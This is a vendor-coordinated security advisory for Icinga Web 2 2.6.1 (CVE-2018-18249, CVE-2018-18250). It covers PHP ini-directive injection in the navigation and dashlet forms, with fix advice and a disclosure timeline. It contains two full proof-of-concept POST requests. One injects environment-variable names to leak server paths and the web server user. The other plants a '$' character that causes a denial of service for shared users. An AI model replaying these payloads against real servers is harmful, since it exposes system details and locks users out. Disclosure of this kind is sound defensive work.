usd-2018-0030 | Icinga Web 2/2.6.1


Advisory ID: usd-2018-0030
CVE number: CVE-2018-18249, CVE-2018-18250
Affected Product: Icinga Web 2
Affected Version: 2.6.1
Vulnerability Type: Sensitive Data Disclosure & DoS
Security Risk: High
Vendor URL: https://www.icinga.com/
Vendor Status: Fixed

Vendor Information

Vendor URL: https://www.icinga.com/
Vendor Status: fixed

Description

Icinga Web 2 allows users to create custom dashboards, dashlets (attached to dashboards) and navigation items. The functions for creating and editing these items are vulnerable to injection of PHP ini-file directives. This can be exploited to obtain internal information about the server and the running webserver process or to cause errors, which may result in denial of service. To achieve this the attacker can place the names of environment variables into parameters. The server then retrieves the information of those variables and returns them in the response.

Proof of Concept (PoC)

The following POST request adds a new navigation item that contains the $PATH, $APACHE_RUN_DIR and $APACHE_RUN_USER variables.
To send this request the user needs to be authenticated (valid cookie and CSRF token):

POST /icingaweb2/navigation/add HTTP/1.1
Host: 82.98.89.32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://82.98.89.32/icingaweb2/navigation
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-WindowId: myvhobgjaqec
X-Requested-With: XMLHttpRequest
Content-Length: 292
Cookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=g4egqavdb07u0d6kumaabkhrp9ieuurq; icingaweb2-session=1536679589; icingaweb2-tzo=7200-1
Connection: close

name=${PATH}_${APACHE_RUN_DIR}_${APACHE_RUN_USER}&shared=0&type=menu-item&parent=&target=_blank&url=${PATH}_${APACHE_RUN_DIR}_${APACHE_RUN_USER}&icon=&formUID=form_config_navigation&CSRFToken=852057698%7Cb46579a60ab408a0035e970e858246b8807c47e49dca8bc6936f0e7cad0b2f75&btn_submit=Save+Changes

When subsequently viewing the navigation item the user is greeted with the following Name and URL, containing the values of the specified environment variables:

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_/var/run/apache2_www-data

The same attack can similarly be performed for the following functions:
Dashboards/Dashlets (/icingaweb2/dashboard/new-dashlet)

Aside from the problem of information disclosure this bug can also cause functionality problems up to a denial of service condition. It is possible for users to specify parameters which will break navigation dashlets. For example, if a user supplies a single $ sign as the Name of a Navigation item the application will display a detailed error message (see screenshot).
The user is also no longer able to use the application for the specific user. If this navigation item is shared with other users, this creates a DoS condition for all users of the application.
An administrator will need to log onto the server system to manually edit the affected ini-file in order to solve this problem.

The following POST request will trigger this condition for the user mb and the group Administrators:

POST /icingaweb2/navigation/add HTTP/1.1
Host: 82.98.89.32
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://82.98.89.32/icingaweb2/navigation
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-WindowId: twazqmosbhix
X-Requested-With: XMLHttpRequest
Content-Length: 240
Cookie: icingaweb2-announcements=%7B%22acknowledged%22%3A%5B%5D%2C%22etag%22%3A%22fdf22446%22%2C%22next%22%3Anull%7D; Icingaweb2=cllg91l5p21tf20hg5lo3rjnhhu7p6rk; icingaweb2-session=1536681313; icingaweb2-tzo=7200-1
Connection: close

name=$&shared=0&shared=1&users=mb&groups=Administrators&type=menu-item&target=_blank&url=&icon=&formUID=form_config_navigation&CSRFToken=1768864132%7C2b8b13072e6bf942af148635196b5241d3f3109619292eaa79f0de809d695516&btn_submit=Save+Changes

Fix

Validate all user input and encode output. Ensure that no special characters or directives with special meaning for PHP ini files are inserted into the configuration files.

Timeline

  • 2018-09-12 First contact request via security@icinga.com
  • 2018-10-02 Vendor received advisories via security@icinga.com
  • 2018-10-11 CVE-ID requested
  • 2018-10-12 received CVE ID and notified vendor about it
  • 2018-11-09 extended public disclosure deadline to 2018-11-25
  • 2018-11-23 vendor states to have fixed the vulnerability in Icinga Web 2 v2.6.2
  • 2018-12-07 Security advisory released

Credits

These security vulnerabilities were found by Maximilian Boehner of usd AG.